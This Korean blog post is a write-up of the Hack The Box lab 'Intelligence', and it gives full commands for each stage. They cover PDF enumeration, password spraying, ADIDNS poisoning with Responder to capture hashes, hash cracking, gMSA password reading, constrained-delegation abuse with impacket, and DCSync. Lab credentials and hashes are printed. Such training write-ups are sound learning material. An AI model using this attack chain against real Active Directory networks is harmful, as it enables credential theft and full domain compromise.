정보 수집 (Enumeration)

rustscan으로 포트를 스캔했다.

 rustscan -a 10.129.101.71 -- -sC -sV -oN nmap

 

웹을 둘러보면 /documents/<날짜>-upload.pdf 형식으로 PDF가 공개돼 있다.

날짜를 하나씩 증가시키면 공개된 PDF들을 조회할 수 있다.

 

pdf 리스트를 수집하는 스크립트를 작성했다.

get_pdf.sh

#!/bin/sh
dd=`date +"%Y-%m-%d" -d "20200101"`
while [ $dd != $(date +"%F") ]; 
do 
  echo "http://intelligence.htb/documents/$dd-upload.pdf" 

  dd=`date +"%Y-%m-%d" -d "$dd + 1 day"`; 
done

 

스크립트를 실행해서 존재하는 pdf 리스트를 수집했다.

./get_pdf.sh > pdf_list.txt

 

xargs를 사용해 병렬로 pdf 리스트에 존재하는 파일들을 wget으로 다운로드 받았다.

  • -n 1 : 명령 한 번에 인자(PDF 경로) 1개씩 전달
  • -P 16 : wget을 최대 16개까지 동시에 병렬 실행
xargs -n 1 -P 16 wget < pdf_list.txt

 

exiftool로 PDF 메타데이터의 작성자(Creator) 값을 뽑아 사용자명 목록을 만들었다.

exiftool *.pdf | grep Creator | awk '{print $3}' | uniq > users.txt

 

PDF 본문도 확인하기 위해 전부 텍스트로 변환했다.

for f in *.pdf; do pdftotext $f; done

 

변환한 텍스트를 훑어보면 한 PDF에 신규 계정 안내와 기본 패스워드 NewIntelligenceCorpUser9876가 적혀 있다.

 

 

그리고 내부 IT가 업데이트되었다는 내용도 있는데, 이는 뒤에서 권한 상승의 단서가 된다.

 

 

초기 침투 (Password Spray)

이 패스워드로 수집한 사용자명 전체에 스프레이를 돌렸다.

nxc smb intelligence.htb -u users.txt -p 'NewIntelligenceCorpUser9876'

 

Tiffany.Molina 계정이 일치하는 것을 확인했다.

Tiffany.Molina: NewIntelligenceCorpUser9876

 

22번 포트가 닫혀 있어 SSH로, 5985/5986 포트도 열려 있지 않아 WinRM으로도 접속할 수 없다. 그래서 SMB로 접근했다.

 

획득한 자격증명으로 Users 공유에 접속하면 각 계정의 디렉터리가 보인다.

smbclient //intelligence.htb/Users -U intelligence.htb/Tiffany.Molina%'NewIntelligenceCorpUser9876'

 

Tiffany.Molina의 Desktop에서 user.txt 플래그를 확인했다.

 

 

권한 상승 (ADIDNS 악용 → gMSA → 제약 위임 → DCSync)

DNS 레코드 추가 → NetNTLMv2 탈취

공유에서 찾은 PowerShell 스크립트는 이름이 web으로 시작하는 호스트를 주기적으로 조회하는데, -UseDefaultCredentials 옵션으로 실행 계정의 자격증명을 그대로 사용해 인증한다. 즉 내가 제어하는 호스트 이름을 web*로 등록해 두면, 이 작업이 내게 인증을 시도하게 만들 수 있다.

 

인증된 사용자는 AD-DNS에 레코드를 추가할 수 있으므로, web1을 내 kali IP로 가리키는 A 레코드 (Address Record)를 등록했다.

dnstool -u 'intelligence\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' 10.129.102.103 -a add -r web1 -d 10.10.15.247 -t A 

 

Responder를 띄워 두고, 예약 작업이 web1 로 인증해 오기를 기다렸다.

sudo responder -I tun0

 

작업이 내 호스트로 인증을 시도하면서 Ted.Graves의 NetNTLMv2 해시가 잡혔다.

 

이를 hashcat으로 크랙했다.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

TED.GRAVES: Mr.Teddy

 

 

gMSA 읽기 → 제약 위임 → DCSync

Ted.Graves로 BloodHound를 돌려 권한 상승 경로를 추적했다.

 

  • TED.GRAVES는 ITSUPPORT 그룹의 멤버다.
  • ITSUPPORT 멤버는 svc_int$ 계정에 대해 ReadGMSAPassword 권한이 있어, gMSA 패스워드를 조회할 수 있다.
  • svc_int$ 계정은 DC에 대한 제약 위임(AllowedToDelegate) 권한이 있다.
    ⇒ 이 위임을 통해 Administrator를 가장한 SPN 티켓을 요청할 수 있다.
 
nxc의 --gmsa 옵션으로 gMSA 패스워드를 조회했다.
nxc ldap dc.intelligence.htb -u TED.GRAVES -p 'Mr.Teddy' --gmsa

svc_int$: 67a538aeaef84d68dbd6ef663f5b1d52

 

findDelegation으로 svc_int$가 어떤 SPN에 위임 가능한지 조회했다.

impacket-findDelegation -dc-ip 10.129.95.154 'intelligence.htb/TED.GRAVES:Mr.Teddy'

 

svc_int$는 WWW/dc.intelligence.htb에 대한 제약 위임이 설정돼 있다.

 

getST로 Administrator를 가장한 서비스 티켓을 발급했다. 위임 대상은 WWW/dc 뿐이지만, S4U2proxy 단계에서 -altservice cifs로 서비스 클래스만 cifs로 바꿔 DC에 CIFS로 접근할 수 있는 티켓을 얻는다.

impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate Administrator -dc-ip 10.129.95.154 -altservice 'cifs' -hashes :67a538aeaef84d68dbd6ef663f5b1d52 'intelligence.htb/svc_int$'

 

DCSync로 Administrator 계정의 NT 해시를 획득했다.

$ export KRB5CCNAME=Administrator@cifs_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
$ impacket-secretsdump -k -just-dc -no-pass dc.intelligence.htb

 

Administrator: 9075113fe16cf74f7c0f9b27e882dad3

 

획득한 해시로 smb 로그인을 수행했다.

smbclient //intelligence.htb/Users -U 'intelligence.htb/Administrator' --pw-nt-hash '9075113fe16cf74f7c0f9b27e882dad3'

Administrator의 Desktop에서 root.txt 플래그를 획득했다.

 

'HTB' 카테고리의 다른 글

HTB - UpDown  (0) 2026.11.09
HTB - Escape  (0) 2026.11.08
HTB - Cascade  (0) 2026.11.08
HTB - Support  (0) 2026.11.06
HTB - Jeeves  (0) 2026.11.04

+ Recent posts